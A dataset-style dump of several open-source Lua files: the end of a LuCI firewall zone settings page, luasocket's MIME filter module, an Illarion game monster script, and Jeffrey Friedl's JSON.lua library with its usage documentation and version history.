ds.build_url("admin/network/firewall/zones", value) m.title = "%s - %s" %{ translate("Firewall - Zone Settings"), translatef("Zone %q", value or "?") } end p = { s:taboption("general", ListValue, "input", translate("Input")), s:taboption("general", ListValue, "output", translate("Output")), s:taboption("general", ListValue, "forward", translate("Forward")) } for i, v in ipairs(p) do v:value("REJECT", translate("reject")) v:value("DROP", translate("drop")) v:value("ACCEPT", translate("accept")) end s:taboption("general", Flag, "masq", translate("Masquerading")) s:taboption("general", Flag, "mtu_fix", translate("MSS clamping")) net = s:taboption("general", Value, "network", translate("Covered networks")) net.template = "cbi/network_netlist" net.widget = "checkbox" net.cast = "string" function net.formvalue(self, section) return Value.formvalue(self, section) or "-" end function net.cfgvalue(self, section) return Value.cfgvalue(self, section) or name:cfgvalue(section) end function net.write(self, section, value) zone:clear_networks() local n for n in ut.imatch(value) do zone:add_network(n) end end family = s:taboption("advanced", ListValue, "family", translate("Restrict to address family")) family.rmempty = true family:value("", translate("IPv4 and IPv6")) family:value("ipv4", translate("IPv4 only")) family:value("ipv6", translate("IPv6 only")) msrc = s:taboption("advanced", DynamicList, "masq_src", translate("Restrict Masquerading to given source subnets")) msrc.optional = true msrc.datatype = "list(neg(or(uciname,hostname,ip4addr)))" msrc.placeholder = "0.0.0.0/0" msrc:depends("family", "") msrc:depends("family", "ipv4") mdest = s:taboption("advanced", DynamicList, "masq_dest", translate("Restrict Masquerading to given destination subnets")) mdest.optional = true mdest.datatype = "list(neg(or(uciname,hostname,ip4addr)))" mdest.placeholder = "0.0.0.0/0" mdest:depends("family", "") mdest:depends("family", "ipv4") s:taboption("advanced", Flag, "conntrack", translate("Force connection tracking")) log = s:taboption("advanced", Flag, "log", translate("Enable logging on this zone")) log.rmempty = true log.enabled = "1" lim = s:taboption("advanced", Value, "log_limit", translate("Limit log messages")) lim.placeholder = "10/minute" lim:depends("log", "1") s2 = m:section(NamedSection, zone.sid, "fwd_out", translate("Inter-Zone Forwarding"), translatef("The options below control the forwarding policies between \ this zone (%s) and other zones. <em>Destination zones</em> cover \ forwarded traffic <strong>originating from %q</strong>. \ <em>Source zones</em> match forwarded traffic from other zones \ <strong>targeted at %q</strong>. The forwarding rule is \ <em>unidirectional</em>, e.g. a forward from lan to wan does \ <em>not</em> imply a permission to forward from wan to lan as well.", zone:name(), zone:name(), zone:name() )) out = s2:option(Value, "out", translate("Allow forward to <em>destination zones</em>:")) out.nocreate = true out.widget = "checkbox" out.exclude = zone:name() out.template = "cbi/firewall_zonelist" inp = s2:option(Value, "in", translate("Allow forward from <em>source zones</em>:")) inp.nocreate = true inp.widget = "checkbox" inp.exclude = zone:name() inp.template = "cbi/firewall_zonelist" function out.cfgvalue(self, section) local v = { } local f for _, f in ipairs(zone:get_forwardings_by("src")) do v[#v+1] = f:dest() end return table.concat(v, " ") end function inp.cfgvalue(self, section) local v = { } local f for _, f in ipairs(zone:get_forwardings_by("dest")) do v[#v+1] = f:src() end return v end function out.formvalue(self, section) return Value.formvalue(self, section) or "-" end function inp.formvalue(self, section) return Value.formvalue(self, section) or "-" end function out.write(self, section, value) zone:del_forwardings_by("src") local f for f in ut.imatch(value) do zone:add_forwarding_to(f) end end function inp.write(self, section, value) zone:del_forwardings_by("dest") local f for f in ut.imatch(value) do zone:add_forwarding_from(f) end end return m
mit
yanjunh/luasocket-gyp
src/mime.lua
118
2433
----------------------------------------------------------------------------- -- MIME support for the Lua language. -- Author: Diego Nehab -- Conforming to RFCs 2045-2049 -- RCS ID: $Id: mime.lua,v 1.29 2007/06/11 23:44:54 diego Exp $ ----------------------------------------------------------------------------- ----------------------------------------------------------------------------- -- Declare module and import dependencies ----------------------------------------------------------------------------- local base = _G local ltn12 = require("ltn12") local mime = require("mime.core") local io = require("io") local string = require("string") module("mime") -- encode, decode and wrap algorithm tables encodet = {} decodet = {} wrapt = {} -- creates a function that chooses a filter by name from a given table local function choose(table) return function(name, opt1, opt2) if base.type(name) ~= "string" then name, opt1, opt2 = "default", name, opt1 end local f = table[name or "nil"] if not f then base.error("unknown key (" .. base.tostring(name) .. ")", 3) else return f(opt1, opt2) end end end -- define the encoding filters encodet['base64'] = function() return ltn12.filter.cycle(b64, "") end encodet['quoted-printable'] = function(mode) return ltn12.filter.cycle(qp, "", (mode == "binary") and "=0D=0A" or "\r\n") end -- define the decoding filters decodet['base64'] = function() return ltn12.filter.cycle(unb64, "") end decodet['quoted-printable'] = function() return ltn12.filter.cycle(unqp, "") end local function format(chunk) if chunk then if chunk == "" then return "''" else return string.len(chunk) end else return "nil" end end -- define the line-wrap filters wrapt['text'] = function(length) length = length or 76 return ltn12.filter.cycle(wrp, length, length) end wrapt['base64'] = wrapt['text'] wrapt['default'] = wrapt['text'] wrapt['quoted-printable'] = function() return ltn12.filter.cycle(qpwrp, 76, 76) end -- function that choose the encoding, decoding or wrap algorithm encode = choose(encodet) decode = choose(decodet) wrap = choose(wrapt) -- define the end-of-line normalization filter function normalize(marker) return ltn12.filter.cycle(eol, 0, marker) end -- high level stuffing filter function stuff() return ltn12.filter.cycle(dot, 2) end
mit
LaFamiglia/Illarion-Content
monster/race_63_bone_dragon/id_632_black.lua
2
1123
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] --ID 632, Black Bone Dragon, Level: 9, Armourtype: heavy, Weapontype: slashing local base = require("monster.base.base") local boneDragons = require("monster.race_63_bone_dragon.base") local M = boneDragons.generateCallbacks() local orgOnSpawn = M.onSpawn function M.onSpawn(monster) if orgOnSpawn ~= nil then orgOnSpawn(monster) end base.setColor{monster = monster, target = base.SKIN_COLOR, red = 100, green = 100, blue = 100} end return M
agpl-3.0
mohsen9hard/saba
libs/JSON.lua
3765
34843
-- -*- coding: utf-8 -*- -- -- Simple JSON encoding and decoding in pure Lua. -- -- Copyright 2010-2014 Jeffrey Friedl -- http://regex.info/blog/ -- -- Latest version: http://regex.info/blog/lua/json -- -- This code is released under a Creative Commons CC-BY "Attribution" License: -- http://creativecommons.org/licenses/by/3.0/deed.en_US -- -- It can be used for any purpose so long as the copyright notice above, -- the web-page links above, and the 'AUTHOR_NOTE' string below are -- maintained. Enjoy. -- local VERSION = 20141223.14 -- version history at end of file local AUTHOR_NOTE = "-[ JSON.lua package by Jeffrey Friedl (http://regex.info/blog/lua/json) version 20141223.14 ]-" -- -- The 'AUTHOR_NOTE' variable exists so that information about the source -- of the package is maintained even in compiled versions. It's also -- included in OBJDEF below mostly to quiet warnings about unused variables. -- local OBJDEF = { VERSION = VERSION, AUTHOR_NOTE = AUTHOR_NOTE, } -- -- Simple JSON encoding and decoding in pure Lua. -- http://www.json.org/ -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- -- -- -- DECODING (from a JSON string to a Lua table) -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- If the JSON text is for an object or an array, e.g. -- { "what": "books", "count": 3 } -- or -- [ "Larry", "Curly", "Moe" ] -- -- the result is a Lua table, e.g. -- { what = "books", count = 3 } -- or -- { "Larry", "Curly", "Moe" } -- -- -- The encode and decode routines accept an optional second argument, -- "etc", which is not used during encoding or decoding, but upon error -- is passed along to error handlers. It can be of any type (including nil). -- -- -- -- ERROR HANDLING -- -- With most errors during decoding, this code calls -- -- JSON:onDecodeError(message, text, location, etc) -- -- with a message about the error, and if known, the JSON text being -- parsed and the byte count where the problem was discovered. You can -- replace the default JSON:onDecodeError() with your own function. -- -- The default onDecodeError() merely augments the message with data -- about the text and the location if known (and if a second 'etc' -- argument had been provided to decode(), its value is tacked onto the -- message as well), and then calls JSON.assert(), which itself defaults -- to Lua's built-in assert(), and can also be overridden. -- -- For example, in an Adobe Lightroom plugin, you might use something like -- -- function JSON:onDecodeError(message, text, location, etc) -- LrErrors.throwUserError("Internal Error: invalid JSON data") -- end -- -- or even just -- -- function JSON.assert(message) -- LrErrors.throwUserError("Internal Error: " .. message) -- end -- -- If JSON:decode() is passed a nil, this is called instead: -- -- JSON:onDecodeOfNilError(message, nil, nil, etc) -- -- and if JSON:decode() is passed HTML instead of JSON, this is called: -- -- JSON:onDecodeOfHTMLError(message, text, nil, etc) -- -- The use of the fourth 'etc' argument allows stronger coordination -- between decoding and error reporting, especially when you provide your -- own error-handling routines. Continuing with the the Adobe Lightroom -- plugin example: -- -- function JSON:onDecodeError(message, text, location, etc) -- local note = "Internal Error: invalid JSON data" -- if type(etc) = 'table' and etc.photo then -- note = note .. " while processing for " .. etc.photo:getFormattedMetadata('fileName') -- end -- LrErrors.throwUserError(note) -- end -- -- : -- : -- -- for i, photo in ipairs(photosToProcess) do -- : -- : -- local data = JSON:decode(someJsonText, { photo = photo }) -- : -- : -- end -- -- -- -- -- -- DECODING AND STRICT TYPES -- -- Because both JSON objects and JSON arrays are converted to Lua tables, -- it's not normally possible to tell which original JSON type a -- particular Lua table was derived from, or guarantee decode-encode -- round-trip equivalency. -- -- However, if you enable strictTypes, e.g. -- -- JSON = assert(loadfile "JSON.lua")() --load the routines -- JSON.strictTypes = true -- -- then the Lua table resulting from the decoding of a JSON object or -- JSON array is marked via Lua metatable, so that when re-encoded with -- JSON:encode() it ends up as the appropriate JSON type. -- -- (This is not the default because other routines may not work well with -- tables that have a metatable set, for example, Lightroom API calls.) -- -- -- ENCODING (from a lua table to a JSON string) -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- local custom_pretty = JSON:encode(lua_table_or_value, etc, { pretty = true, indent = "| ", align_keys = false }) -- -- On error during encoding, this code calls: -- -- JSON:onEncodeError(message, etc) -- -- which you can override in your local JSON object. -- -- The 'etc' in the error call is the second argument to encode() -- and encode_pretty(), or nil if it wasn't provided. -- -- -- PRETTY-PRINTING -- -- An optional third argument, a table of options, allows a bit of -- configuration about how the encoding takes place: -- -- pretty = JSON:encode(val, etc, { -- pretty = true, -- if false, no other options matter -- indent = " ", -- this provides for a three-space indent per nesting level -- align_keys = false, -- see below -- }) -- -- encode() and encode_pretty() are identical except that encode_pretty() -- provides a default options table if none given in the call: -- -- { pretty = true, align_keys = false, indent = " " } -- -- For example, if -- -- JSON:encode(data) -- -- produces: -- -- {"city":"Kyoto","climate":{"avg_temp":16,"humidity":"high","snowfall":"minimal"},"country":"Japan","wards":11} -- -- then -- -- JSON:encode_pretty(data) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- The following three lines return identical results: -- JSON:encode_pretty(data) -- JSON:encode_pretty(data, nil, { pretty = true, align_keys = false, indent = " " }) -- JSON:encode (data, nil, { pretty = true, align_keys = false, indent = " " }) -- -- An example of setting your own indent string: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = "| " }) -- -- produces: -- -- { -- | "city": "Kyoto", -- | "climate": { -- | | "avg_temp": 16, -- | | "humidity": "high", -- | | "snowfall": "minimal" -- | }, -- | "country": "Japan", -- | "wards": 11 -- } -- -- An example of setting align_keys to true: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = " ", align_keys = true }) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- which I must admit is kinda ugly, sorry. This was the default for -- encode_pretty() prior to version 20141223.14. -- -- -- AMBIGUOUS SITUATIONS DURING THE ENCODING -- -- During the encode, if a Lua table being encoded contains both string -- and numeric keys, it fits neither JSON's idea of an object, nor its -- idea of an array. To get around this, when any string key exists (or -- when non-positive numeric keys exist), numeric keys are converted to -- strings. -- -- For example, -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- produces the JSON object -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To prohibit this conversion and instead make it an error condition, set -- JSON.noKeyConversion = true -- -- -- SUMMARY OF METHODS YOU CAN OVERRIDE IN YOUR LOCAL LUA JSON OBJECT -- -- assert -- onDecodeError -- onDecodeOfNilError -- onDecodeOfHTMLError -- onEncodeError -- -- If you want to create a separate Lua JSON object with its own error handlers, -- you can reload JSON.lua or use the :new() method. -- --------------------------------------------------------------------------- local default_pretty_indent = " " local default_pretty_options = { pretty = true, align_keys = false, indent = default_pretty_indent } local isArray = { __tostring = function() return "JSON array" end } isArray.__index = isArray local isObject = { __tostring = function() return "JSON object" end } isObject.__index = isObject function OBJDEF:newArray(tbl) return setmetatable(tbl or {}, isArray) end function OBJDEF:newObject(tbl) return setmetatable(tbl or {}, isObject) end local function unicode_codepoint_as_utf8(codepoint) -- -- codepoint is a number -- if codepoint <= 127 then return string.char(codepoint) elseif codepoint <= 2047 then -- -- 110yyyxx 10xxxxxx <-- useful notation from http://en.wikipedia.org/wiki/Utf8 -- local highpart = math.floor(codepoint / 0x40) local lowpart = codepoint - (0x40 * highpart) return string.char(0xC0 + highpart, 0x80 + lowpart) elseif codepoint <= 65535 then -- -- 1110yyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x1000) local remainder = codepoint - 0x1000 * highpart local midpart = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midpart highpart = 0xE0 + highpart midpart = 0x80 + midpart lowpart = 0x80 + lowpart -- -- Check for an invalid character (thanks Andy R. at Adobe). -- See table 3.7, page 93, in http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf#G28070 -- if ( highpart == 0xE0 and midpart < 0xA0 ) or ( highpart == 0xED and midpart > 0x9F ) or ( highpart == 0xF0 and midpart < 0x90 ) or ( highpart == 0xF4 and midpart > 0x8F ) then return "?" else return string.char(highpart, midpart, lowpart) end else -- -- 11110zzz 10zzyyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x40000) local remainder = codepoint - 0x40000 * highpart local midA = math.floor(remainder / 0x1000) remainder = remainder - 0x1000 * midA local midB = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midB return string.char(0xF0 + highpart, 0x80 + midA, 0x80 + midB, 0x80 + lowpart) end end function OBJDEF:onDecodeError(message, text, location, etc) if text then if location then message = string.format("%s at char %d of: %s", message, location, text) else message = string.format("%s: %s", message, text) end end if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end OBJDEF.onDecodeOfNilError = OBJDEF.onDecodeError OBJDEF.onDecodeOfHTMLError = OBJDEF.onDecodeError function OBJDEF:onEncodeError(message, etc) if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end local function grok_number(self, text, start, etc) -- -- Grab the integer part -- local integer_part = text:match('^-?[1-9]%d*', start) or text:match("^-?0", start) if not integer_part then self:onDecodeError("expected number", text, start, etc) end local i = start + integer_part:len() -- -- Grab an optional decimal part -- local decimal_part = text:match('^%.%d+', i) or "" i = i + decimal_part:len() -- -- Grab an optional exponential part -- local exponent_part = text:match('^[eE][-+]?%d+', i) or "" i = i + exponent_part:len() local full_number_text = integer_part .. decimal_part .. exponent_part local as_number = tonumber(full_number_text) if not as_number then self:onDecodeError("bad number", text, start, etc) end return as_number, i end local function grok_string(self, text, start, etc) if text:sub(start,start) ~= '"' then self:onDecodeError("expected string's opening quote", text, start, etc) end local i = start + 1 -- +1 to bypass the initial quote local text_len = text:len() local VALUE = "" while i <= text_len do local c = text:sub(i,i) if c == '"' then return VALUE, i + 1 end if c ~= '\\' then VALUE = VALUE .. c i = i + 1 elseif text:match('^\\b', i) then VALUE = VALUE .. "\b" i = i + 2 elseif text:match('^\\f', i) then VALUE = VALUE .. "\f" i = i + 2 elseif text:match('^\\n', i) then VALUE = VALUE .. "\n" i = i + 2 elseif text:match('^\\r', i) then VALUE = VALUE .. "\r" i = i + 2 elseif text:match('^\\t', i) then VALUE = VALUE .. "\t" i = i + 2 else local hex = text:match('^\\u([0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if hex then i = i + 6 -- bypass what we just read -- We have a Unicode codepoint. It could be standalone, or if in the proper range and -- followed by another in a specific range, it'll be a two-code surrogate pair. local codepoint = tonumber(hex, 16) if codepoint >= 0xD800 and codepoint <= 0xDBFF then -- it's a hi surrogate... see whether we have a following low local lo_surrogate = text:match('^\\u([dD][cdefCDEF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if lo_surrogate then i = i + 6 -- bypass the low surrogate we just read codepoint = 0x2400 + (codepoint - 0xD800) * 0x400 + tonumber(lo_surrogate, 16) else -- not a proper low, so we'll just leave the first codepoint as is and spit it out. end end VALUE = VALUE .. unicode_codepoint_as_utf8(codepoint) else -- just pass through what's escaped VALUE = VALUE .. text:match('^\\(.)', i) i = i + 2 end end end self:onDecodeError("unclosed string", text, start, etc) end local function skip_whitespace(text, start) local _, match_end = text:find("^[ \n\r\t]+", start) -- [http://www.ietf.org/rfc/rfc4627.txt] Section 2 if match_end then return match_end + 1 else return start end end local grok_one -- assigned later local function grok_object(self, text, start, etc) if text:sub(start,start) ~= '{' then self:onDecodeError("expected '{'", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '{' local VALUE = self.strictTypes and self:newObject { } or { } if text:sub(i,i) == '}' then return VALUE, i + 1 end local text_len = text:len() while i <= text_len do local key, new_i = grok_string(self, text, i, etc) i = skip_whitespace(text, new_i) if text:sub(i, i) ~= ':' then self:onDecodeError("expected colon", text, i, etc) end i = skip_whitespace(text, i + 1) local new_val, new_i = grok_one(self, text, i) VALUE[key] = new_val -- -- Expect now either '}' to end things, or a ',' to allow us to continue. -- i = skip_whitespace(text, new_i) local c = text:sub(i,i) if c == '}' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '}'", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '{'", text, start, etc) end local function grok_array(self, text, start, etc) if text:sub(start,start) ~= '[' then self:onDecodeError("expected '['", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '[' local VALUE = self.strictTypes and self:newArray { } or { } if text:sub(i,i) == ']' then return VALUE, i + 1 end local VALUE_INDEX = 1 local text_len = text:len() while i <= text_len do local val, new_i = grok_one(self, text, i) -- can't table.insert(VALUE, val) here because it's a no-op if val is nil VALUE[VALUE_INDEX] = val VALUE_INDEX = VALUE_INDEX + 1 i = skip_whitespace(text, new_i) -- -- Expect now either ']' to end things, or a ',' to allow us to continue. -- local c = text:sub(i,i) if c == ']' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '['", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '['", text, start, etc) end grok_one = function(self, text, start, etc) -- Skip any whitespace start = skip_whitespace(text, start) if start > text:len() then self:onDecodeError("unexpected end of string", text, nil, etc) end if text:find('^"', start) then return grok_string(self, text, start, etc) elseif text:find('^[-0123456789 ]', start) then return grok_number(self, text, start, etc) elseif text:find('^%{', start) then return grok_object(self, text, start, etc) elseif text:find('^%[', start) then return grok_array(self, text, start, etc) elseif text:find('^true', start) then return true, start + 4 elseif text:find('^false', start) then return false, start + 5 elseif text:find('^null', start) then return nil, start + 4 else self:onDecodeError("can't parse JSON", text, start, etc) end end function OBJDEF:decode(text, etc) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onDecodeError("JSON:decode must be called in method format", nil, nil, etc) end if text == nil then self:onDecodeOfNilError(string.format("nil passed to JSON:decode()"), nil, nil, etc) elseif type(text) ~= 'string' then self:onDecodeError(string.format("expected string argument to JSON:decode(), got %s", type(text)), nil, nil, etc) end if text:match('^%s*$') then return nil end if text:match('^%s*<') then -- Can't be JSON... we'll assume it's HTML self:onDecodeOfHTMLError(string.format("html passed to JSON:decode()"), text, nil, etc) end -- -- Ensure that it's not UTF-32 or UTF-16. -- Those are perfectly valid encodings for JSON (as per RFC 4627 section 3), -- but this package can't handle them. -- if text:sub(1,1):byte() == 0 or (text:len() >= 2 and text:sub(2,2):byte() == 0) then self:onDecodeError("JSON package groks only UTF-8, sorry", text, nil, etc) end local success, value = pcall(grok_one, self, text, 1, etc) if success then return value else -- if JSON:onDecodeError() didn't abort out of the pcall, we'll have received the error message here as "value", so pass it along as an assert. if self.assert then self.assert(false, value) else assert(false, value) end -- and if we're still here, return a nil and throw the error message on as a second arg return nil, value end end local function backslash_replacement_function(c) if c == "\n" then return "\\n" elseif c == "\r" then return "\\r" elseif c == "\t" then return "\\t" elseif c == "\b" then return "\\b" elseif c == "\f" then return "\\f" elseif c == '"' then return '\\"' elseif c == '\\' then return '\\\\' else return string.format("\\u%04x", c:byte()) end end local chars_to_be_escaped_in_JSON_string = '[' .. '"' -- class sub-pattern to match a double quote .. '%\\' -- class sub-pattern to match a backslash .. '%z' -- class sub-pattern to match a null .. '\001' .. '-' .. '\031' -- class sub-pattern to match control characters .. ']' local function json_string_literal(value) local newval = value:gsub(chars_to_be_escaped_in_JSON_string, backslash_replacement_function) return '"' .. newval .. '"' end local function object_or_array(self, T, etc) -- -- We need to inspect all the keys... if there are any strings, we'll convert to a JSON -- object. If there are only numbers, it's a JSON array. -- -- If we'll be converting to a JSON object, we'll want to sort the keys so that the -- end result is deterministic. -- local string_keys = { } local number_keys = { } local number_keys_must_be_strings = false local maximum_number_key for key in pairs(T) do if type(key) == 'string' then table.insert(string_keys, key) elseif type(key) == 'number' then table.insert(number_keys, key) if key <= 0 or key >= math.huge then number_keys_must_be_strings = true elseif not maximum_number_key or key > maximum_number_key then maximum_number_key = key end else self:onEncodeError("can't encode table with a key of type " .. type(key), etc) end end if #string_keys == 0 and not number_keys_must_be_strings then -- -- An empty table, or a numeric-only array -- if #number_keys > 0 then return nil, maximum_number_key -- an array elseif tostring(T) == "JSON array" then return nil elseif tostring(T) == "JSON object" then return { } else -- have to guess, so we'll pick array, since empty arrays are likely more common than empty objects return nil end end table.sort(string_keys) local map if #number_keys > 0 then -- -- If we're here then we have either mixed string/number keys, or numbers inappropriate for a JSON array -- It's not ideal, but we'll turn the numbers into strings so that we can at least create a JSON object. -- if self.noKeyConversion then self:onEncodeError("a table with both numeric and string keys could be an object or array; aborting", etc) end -- -- Have to make a shallow copy of the source table so we can remap the numeric keys to be strings -- map = { } for key, val in pairs(T) do map[key] = val end table.sort(number_keys) -- -- Throw numeric keys in there as strings -- for _, number_key in ipairs(number_keys) do local string_key = tostring(number_key) if map[string_key] == nil then table.insert(string_keys , string_key) map[string_key] = T[number_key] else self:onEncodeError("conflict converting table with mixed-type keys into a JSON object: key " .. number_key .. " exists both as a string and a number.", etc) end end end return string_keys, nil, map end -- -- Encode -- -- 'options' is nil, or a table with possible keys: -- pretty -- if true, return a pretty-printed version -- indent -- a string (usually of spaces) used to indent each nested level -- align_keys -- if true, align all the keys when formatting a table -- local encode_value -- must predeclare because it calls itself function encode_value(self, value, parents, etc, options, indent) if value == nil then return 'null' elseif type(value) == 'string' then return json_string_literal(value) elseif type(value) == 'number' then if value ~= value then -- -- NaN (Not a Number). -- JSON has no NaN, so we have to fudge the best we can. This should really be a package option. -- return "null" elseif value >= math.huge then -- -- Positive infinity. JSON has no INF, so we have to fudge the best we can. This should -- really be a package option. Note: at least with some implementations, positive infinity -- is both ">= math.huge" and "<= -math.huge", which makes no sense but that's how it is. -- Negative infinity is properly "<= -math.huge". So, we must be sure to check the ">=" -- case first. -- return "1e+9999" elseif value <= -math.huge then -- -- Negative infinity. -- JSON has no INF, so we have to fudge the best we can. This should really be a package option. -- return "-1e+9999" else return tostring(value) end elseif type(value) == 'boolean' then return tostring(value) elseif type(value) ~= 'table' then self:onEncodeError("can't convert " .. type(value) .. " to JSON", etc) else -- -- A table to be converted to either a JSON object or array. -- local T = value if type(options) ~= 'table' then options = {} end if type(indent) ~= 'string' then indent = "" end if parents[T] then self:onEncodeError("table " .. tostring(T) .. " is a child of itself", etc) else parents[T] = true end local result_value local object_keys, maximum_number_key, map = object_or_array(self, T, etc) if maximum_number_key then -- -- An array... -- local ITEMS = { } for i = 1, maximum_number_key do table.insert(ITEMS, encode_value(self, T[i], parents, etc, options, indent)) end if options.pretty then result_value = "[ " .. table.concat(ITEMS, ", ") .. " ]" else result_value = "[" .. table.concat(ITEMS, ",") .. "]" end elseif object_keys then -- -- An object -- local TT = map or T if options.pretty then local KEYS = { } local max_key_length = 0 for _, key in ipairs(object_keys) do local encoded = encode_value(self, tostring(key), parents, etc, options, indent) if options.align_keys then max_key_length = math.max(max_key_length, #encoded) end table.insert(KEYS, encoded) end local key_indent = indent .. tostring(options.indent or "") local subtable_indent = key_indent .. string.rep(" ", max_key_length) .. (options.align_keys and " " or "") local FORMAT = "%s%" .. string.format("%d", max_key_length) .. "s: %s" local COMBINED_PARTS = { } for i, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, subtable_indent) table.insert(COMBINED_PARTS, string.format(FORMAT, key_indent, KEYS[i], encoded_val)) end result_value = "{\n" .. table.concat(COMBINED_PARTS, ",\n") .. "\n" .. indent .. "}" else local PARTS = { } for _, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, indent) local encoded_key = encode_value(self, tostring(key), parents, etc, options, indent) table.insert(PARTS, string.format("%s:%s", encoded_key, encoded_val)) end result_value = "{" .. table.concat(PARTS, ",") .. "}" end else -- -- An empty array/object... we'll treat it as an array, though it should really be an option -- result_value = "[]" end parents[T] = false return result_value end end function OBJDEF:encode(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode must be called in method format", etc) end return encode_value(self, value, {}, etc, options or nil) end function OBJDEF:encode_pretty(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode_pretty must be called in method format", etc) end return encode_value(self, value, {}, etc, options or default_pretty_options) end function OBJDEF.__tostring() return "JSON encode/decode package" end OBJDEF.__index = OBJDEF function OBJDEF:new(args) local new = { } if args then for key, val in pairs(args) do new[key] = val end end return setmetatable(new, OBJDEF) end return OBJDEF:new() -- -- Version history: -- -- 20141223.14 The encode_pretty() routine produced fine results for small datasets, but isn't really -- appropriate for anything large, so with help from Alex Aulbach I've made the encode routines -- more flexible, and changed the default encode_pretty() to be more generally useful. -- -- Added a third 'options' argument to the encode() and encode_pretty() routines, to control -- how the encoding takes place. -- -- Updated docs to add assert() call to the loadfile() line, just as good practice so that -- if there is a problem loading JSON.lua, the appropriate error message will percolate up. -- -- 20140920.13 Put back (in a way that doesn't cause warnings about unused variables) the author string, -- so that the source of the package, and its version number, are visible in compiled copies. -- -- 20140911.12 Minor lua cleanup. -- Fixed internal reference to 'JSON.noKeyConversion' to reference 'self' instead of 'JSON'. -- (Thanks to SmugMug's David Parry for these.) -- -- 20140418.11 JSON nulls embedded within an array were being ignored, such that -- ["1",null,null,null,null,null,"seven"], -- would return -- {1,"seven"} -- It's now fixed to properly return -- {1, nil, nil, nil, nil, nil, "seven"} -- Thanks to "haddock" for catching the error. -- -- 20140116.10 The user's JSON.assert() wasn't always being used. Thanks to "blue" for the heads up. -- -- 20131118.9 Update for Lua 5.3... it seems that tostring(2/1) produces "2.0" instead of "2", -- and this caused some problems. -- -- 20131031.8 Unified the code for encode() and encode_pretty(); they had been stupidly separate, -- and had of course diverged (encode_pretty didn't get the fixes that encode got, so -- sometimes produced incorrect results; thanks to Mattie for the heads up). -- -- Handle encoding tables with non-positive numeric keys (unlikely, but possible). -- -- If a table has both numeric and string keys, or its numeric keys are inappropriate -- (such as being non-positive or infinite), the numeric keys are turned into -- string keys appropriate for a JSON object. So, as before, -- JSON:encode({ "one", "two", "three" }) -- produces the array -- ["one","two","three"] -- but now something with mixed key types like -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- instead of throwing an error produces an object: -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To maintain the prior throw-an-error semantics, set -- JSON.noKeyConversion = true -- -- 20131004.7 Release under a Creative Commons CC-BY license, which I should have done from day one, sorry. -- -- 20130120.6 Comment update: added a link to the specific page on my blog where this code can -- be found, so that folks who come across the code outside of my blog can find updates -- more easily. -- -- 20111207.5 Added support for the 'etc' arguments, for better error reporting. -- -- 20110731.4 More feedback from David Kolf on how to make the tests for Nan/Infinity system independent. -- -- 20110730.3 Incorporated feedback from David Kolf at http://lua-users.org/wiki/JsonModules: -- -- * When encoding lua for JSON, Sparse numeric arrays are now handled by -- spitting out full arrays, such that -- JSON:encode({"one", "two", [10] = "ten"}) -- returns -- ["one","two",null,null,null,null,null,null,null,"ten"] -- -- In 20100810.2 and earlier, only up to the first non-null value would have been retained. -- -- * When encoding lua for JSON, numeric value NaN gets spit out as null, and infinity as "1+e9999". -- Version 20100810.2 and earlier created invalid JSON in both cases. -- -- * Unicode surrogate pairs are now detected when decoding JSON. -- -- 20100810.2 added some checking to ensure that an invalid Unicode character couldn't leak in to the UTF-8 encoding -- -- 